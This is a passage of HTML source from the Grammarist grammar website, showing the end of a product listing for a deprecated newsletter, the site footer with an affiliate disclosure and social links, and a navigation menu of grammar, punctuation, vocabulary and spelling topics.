style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1629 $249</div> 1630 1631 1632</div> 1633</div> 1634 1635 </a> 1636 </form> 1637 </li> 1638 1639 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108525"> 1640 <form 1641 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1642 data-wp-on--submit="callbacks.handleSubmit" 1643 data-wp-init="callbacks.init" 1644 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"5e85abea-ad07-48db-8d9d-6762aed14187","archived":false,"available_stock":0,"name":"The Grammarist Insider Daily (deprecated)","permalink":"https:\/\/grammarist.com\/products\/grammarist-insider-daily\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/TGID-768x419.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":419,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/TGID-768x419.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/TGID-300x164.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/TGID-1024x559.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/TGID.png 1100w","sizes":"(max-width: 768px) 100vw, 768px"}}
1644,"selectedPrice":{"id":"e849949f-9470-4d56-960b-92559e591713","ad_hoc":false,"amount":14700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$147","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"e849949f-9470-4d56-960b-92559e591713","ad_hoc":false,"amount":14700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$147","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},{"id":"a005debe-d18a-4f5b-8f26-ebe5b5b72585","ad_hoc":false,"amount":1700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$17","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1645 <a class="sc-product-item-link" href="https://grammarist.com/products/grammarist-insider-daily/"> 1646 1647 1648<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1649<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1650<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="559" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201024%20559'%3E%3C/svg%3E" class="wp-block-cover__image-background wp-post-image" alt="TGID" data-object-fit="cover" data-lazy-srcset="https://grammarist.com/wp-content/uploads/TGID-1024x559.png 1024w, https://grammarist.com/wp-content/uploads/TGID-300x164.png 300w, https://grammarist.com/wp-content/uploads/TGID-768x419.png 768w, https://grammarist.com/wp-content/uploads/TGID.png 1100w" data-lazy-sizes="(max-width: 1024px) 100vw, 1024px" title="The Grammarist Insider Daily (deprecated) 7" data-lazy-src="https://grammarist.com/wp-content/uploads/TGID-1024x559.png"><noscript><img decoding="async" width="1024" height="559" src="https://grammarist.com/wp-content/uploads/TGID-1024x559.png" class="wp-block-cover__image-background wp-post-image" alt="TGID" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/TGID-1024x559.png 1024w, https://grammarist.com/wp-content/uploads/TGID-300x164.png 300w, https://grammarist.com/wp-content/uploads/TGID-768x419.png 768w, https://grammarist.com/wp-content/uploads/TGID.png 1100w" sizes="(max-width: 1024px) 100vw, 1024px" title="The Grammarist Insider Daily (deprecated) 7"></noscript><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1651 hidden> 1652 Sale</div> 1653</div></div> 1654</div></div> 1655 1656 1657<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="The Grammarist Insider Daily (deprecated)"> 1658 1659 The Grammarist Insider Daily (deprecated) 1660 </h2> 1661 1662 1663 1664<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1665 $147</div> 1666 1667 1668</div> 1669</div> 1670 1671 </a> 1672 </form> 1673 </li> 1674 </ul> 1675 1676 1677 1678 1679 1680 1681 <div class="sc-block-ui" data-wp-bind--hidden="!state.loading" hidden></div> 1682</div> 1683 </div> 1684 1685 </div> 1686</article> 1687 </main> 1688 </div> 1689 1690 1691 </div> 1692</div> 1693 1694 1695<div class="no-wpr-lazyrender site-footer"> 1696 <div class="gb-container gb-container-8ea0a712"><div class="gb-inside-container"> 1697<div class="gb-grid-wrapper gb-grid-wrapper-625e6116"> 1698<div class="gb-grid-column gb-grid-column-08e508e0"><div class="gb-container gb-container-08e508e0"><div class="gb-inside-container"> 1699 1700<p class="has-small-font-size wp-block-paragraph">Grammarist is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com. When you buy via the links on our site, we may earn an affiliate commission at no cost to you.</p> 1701 1702</div></div></div> 1703 1704<div class="gb-grid-column gb-grid-column-fa4f993b"><div class="gb-container gb-container-fa4f993b"><div class="gb-inside-container"> 1705<div class="gb-button-wrapper gb-button-wrapper-b0e77445"> 1706 1707<a class="gb-button gb-button-9a533ee7" href="https://twitter.com/_grammarist" target="_blank" rel="noopener noreferrer" aria-label="twitter link"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg">
1707<path fill="currentColor" d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg></span></a> 1708 1709 1710 1711<a class="gb-button gb-button-e245e61c" href="https://www.facebook.com/grammaristweb/" target="_blank" rel="noopener noreferrer" aria-label="facebook link"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"></path></svg></span></a> 1712 1713 1714 1715<a class="gb-button gb-button-06705bce" href="https://www.youtube.com/channel/UCFhPTWXjPIw1qlZ0mhWCQtQ" target="_blank" rel="noopener noreferrer" aria-label="facebook link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg></span></a> 1716 1717 1718 1719<a class="gb-button gb-button-2183700e" href="https://pinterest.com/grammar_rules/" target="_blank" rel="noopener noreferrer" aria-label="facebook link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path></svg></span></a> 1720 1721</div> 1722</div></div></div> 1723</div> 1724 1725<div class="gb-container gb-container-30166353"><div class="gb-inside-container"> 1726<div class="gb-grid-wrapper gb-grid-wrapper-150dce3f"> 1727<div class="gb-grid-column gb-grid-column-bd73b5c4"><div class="gb-container gb-container-bd73b5c4"><div class="gb-inside-container"> 1728 1729<p class="gb-headline gb-headline-a8a1fab4 gb-headline-text">2024 © Grammarist, a Found First Marketing company. All rights reserved.</p> 1730 1731</div></div></div> 1732 1733<div class="gb-grid-column gb-grid-column-571e035c"><div class="gb-container gb-container-571e035c"><div class="gb-inside-container"> 1734<div class="gb-button-wrapper gb-button-wrapper-5d2efd4d"> 1735 1736<a class="gb-button gb-button-acc1ae52 gb-button-text" href="https://grammarist.com/">Home</a> 1737 1738 1739 1740<a class="gb-button gb-button-10d87555 gb-button-text" href="https://grammarist.com/about/">About</a> 1741 1742 1743 1744<a class="gb-button gb-button-c6cb8221 gb-button-text" href="https://grammarist.com/contact/">Contact</a> 1745 1746 1747 1748<a class="gb-button gb-button-de679170 gb-button-text" href="https://grammarist.com/advertise-on-grammarist/">Advertise</a> 1749 1750 1751 1752<a class="gb-button gb-button-fc518b3e gb-button-text" href="https://grammarist.com/privacy-policy/">Privacy Policy</a> 1753 1754 1755 1756<a class="gb-button gb-button-1d0279eb gb-button-text" href="https://grammarist.com/terms-of-service/">Terms</a> 1757 1758 1759 1760<a class="gb-button gb-button-4b1b2754 gb-button-text" href="https://grammarist.com/refund-policy/">Refund Policy</a> 1761 1762 1763 1764<a class="gb-button gb-button-0c241779 gb-button-text" href="https://grammarist.com/sitemap/">Sitemap</a> 1765 1766 1767 1768<a class="gb-button gb-button-4af34509 gb-button-text" href="https://grammarist.com/affiliate-area/">Affiliates</a> 1769 1770</div> 1771</div></div></div> 1772</div> 1773</div></div> 1774</div><div class="gb-shapes"><div class="gb-shape gb-shape-1"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 100" preserveAspectRatio="none"><path d="M1200 100H0V0l400 77.2L1200 0z"/></svg></div></div></div></div> 1775 1776 <nav id="generate-slideout-menu" class="main-navigation slideout-navigation" itemtype="https://schema.org/SiteNavigationElement" itemscope> 1777 <div class="inside-navigation grid-container grid-parent"> 1778 <button class="slideout-exit has-svg-icon"><span class="gp-icon pro-close"> 1779 <svg viewBox="0 0 512 512" aria-hidden="true" role="img" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1em" height="1em"> 1780 <path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.
178003c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /> 1781 </svg> 1782 </span> <span class="screen-reader-text">Close</span></button><div class="main-nav"><ul id="menu-main-menu-new-1" class=" slideout-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89785"><a href="https://grammarist.com/grammar/">Grammar<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1783<ul class="sub-menu"> 1784 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89786"><a href="https://grammarist.com/parts-of-speech/">Parts of Speech<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1785 <ul class="sub-menu"> 1786 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89787"><a href="https://grammarist.com/grammar/nouns/">Nouns</a></li> 1787 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89788"><a href="https://grammarist.com/grammar/pronouns/">Pronouns</a></li> 1788 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-has-children menu-item-89789"><a href="https://grammarist.com/grammar/verbs/">Verbs<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1789 <ul class="sub-menu"> 1790 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89790"><a href="https://grammarist.com/grammar/verb-tenses/">Verb Tenses</a></li> 1791 </ul> 1792</li> 1793 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89791"><a href="https://grammarist.com/grammar/adjectives/">Adjectives</a></li> 1794 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89792"><a href="https://grammarist.com/grammar/adverbs/">Adverbs</a></li> 1795 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89793"><a href="https://grammarist.com/grammar/conjunctions/">Conjunctions</a></li> 1796 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89794"><a href="https://grammarist.com/grammar/prepositions/">Prepositions</a></li> 1797 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89795"><a href="https://grammarist.com/grammar/what-is-a-determiner/">Determiners</a></li> 1798 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89796"><a href="https://grammarist.com/grammar/interjections/">Interjections</a></li> 1799 </ul> 1800</li> 1801 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89797"><a href="https://grammarist.com/writing-tools/best-grammar-checker/">Best Grammar Checkers</a></li> 1802 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89798"><a href="https://grammarist.com/grammar/grammar-errors-mistakes-examples/">Common Grammar Mistakes</a></li> 1803 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89799"><a href="https://grammarist.com/style/">Style</a></li> 1804</ul> 1805</li> 1806<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89800"><a href="https://grammarist.com/punctuation-marks/">Punctuation<span role="presentation" class="dropdown-menu-toggle">
1806<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1807<ul class="sub-menu"> 1808 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89801"><a href="https://grammarist.com/grammar/period/">Period</a></li> 1809 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89802"><a href="https://grammarist.com/grammar/question-marks/">Question Mark</a></li> 1810 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89803"><a href="https://grammarist.com/grammar/exclamation-point/">Exclamation Point</a></li> 1811 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89804"><a href="https://grammarist.com/grammar/commas/">Comma</a></li> 1812 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89805"><a href="https://grammarist.com/grammar/colon/">Colon</a></li> 1813 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89806"><a href="https://grammarist.com/grammar/semicolon/">Semicolon</a></li> 1814 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89807"><a href="https://grammarist.com/grammar/quotation-marks/">Quotation Marks</a></li> 1815 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89808"><a href="https://grammarist.com/grammar/apostrophe/">Apostrophe</a></li> 1816 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89809"><a href="https://grammarist.com/grammar/hyphens/">Hyphen</a></li> 1817 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89810"><a href="https://grammarist.com/grammar/en-dash/">En Dash</a></li> 1818 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89811"><a href="https://grammarist.com/grammar/emdash/">Em Dash</a></li> 1819 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89812"><a href="https://grammarist.com/grammar/parentheses/">Parentheses</a></li> 1820 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89813"><a href="https://grammarist.com/punctuation/curly-braces-brackets/">Curly Braces</a></li> 1821 <li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89814"><a href="https://grammarist.com/grammar/virgule/">Slash</a></li> 1822</ul> 1823</li> 1824<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89815"><a href="https://grammarist.com/vocabulary/">Vocabulary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1825<ul class="sub-menu"> 1826 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89816"><a href="https://grammarist.com/usage/">Usage</a></li> 1827 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89817"><a href="https://grammarist.com/idiom/">Idioms</a></li> 1828 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89818"><a href="https://grammarist.com/proverb/">Proverbs</a></li> 1829 <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89819"><a href="https://grammarist.com/category/phrase/">Phrases</a></li> 1830 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89820"><a href="https://grammarist.com/acronyms/">Acronyms</a></li> 1831 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89821"><a href="https://grammarist.com/mondegreens/">Mondegreens</a></li> 1832 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89822"><a href="https://grammarist.com/eggcorns/">Eggcorns</a></li> 1833</ul> 1834</li> 1835<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89823"><a href="https://grammarist.com/spelling/">Spelling<span role="presentation" class="dropdown-menu-toggle">
1835<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1836<ul class="sub-menu"> 1837 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89824"><a href="https://grammarist.com/tricky-hard-words-to-spell/">Hard Words to Spell</a></li> 1838 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89825"><a href="https://grammarist.com/compounds/">Compound Words</a></li> 1839 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89826"><a href="https://grammarist.com/homophones/">Homophones</a></li> 1840 <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89827"><a href="https://grammarist.com/category/homonyms/">Homonyms</a></li> 1841 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89828"><a href="https://grammarist.com/heteronyms/">Heteronyms</a></li> 1842</ul> 1843</li> 1844<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-89829"><a href="https://grammarist.com/category/writing/">Writing<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1845<ul class="sub-menu"> 1846 <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89830"><a href="https://grammarist.com/category/editing/">Editing</a></li> 1847 <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89831"><a href="https://grammarist.com/category/writing-tools/">Writing Tools</a></li> 1848</ul> 1849</li> 1850<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-96816"><a href="https://grammarist.com/proofreading-editing-services/">Proofreading Services</a></li> 1851</ul></div> 1852<a class="gb-button gb-button-46046420 gb-button-text" href="https://grammarist.com/store">shop</a> 1853<section class="gb-container gb-container-8bd03f51"> 1854 1855<p class="gb-headline gb-headline-f65f32eb login-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/" data-type="page" data-id="108518">log in</a></span></p> 1856 1857 1858 1859<p class="gb-headline gb-headline-4dcd0199 myaccount-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.
18591 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/" data-type="page" data-id="108518">My Account</a></span></p> 1860 1861 1862 1863<p class="gb-headline gb-headline-676768cc"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"></path></svg></span><span class="gb-headline-text"><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1665636666796462567164777b7b77647f65623875797b">[email protected]</a></span></p> 1864 1865 1866<div class="gb-container gb-container-55543860"> 1867 1868<a 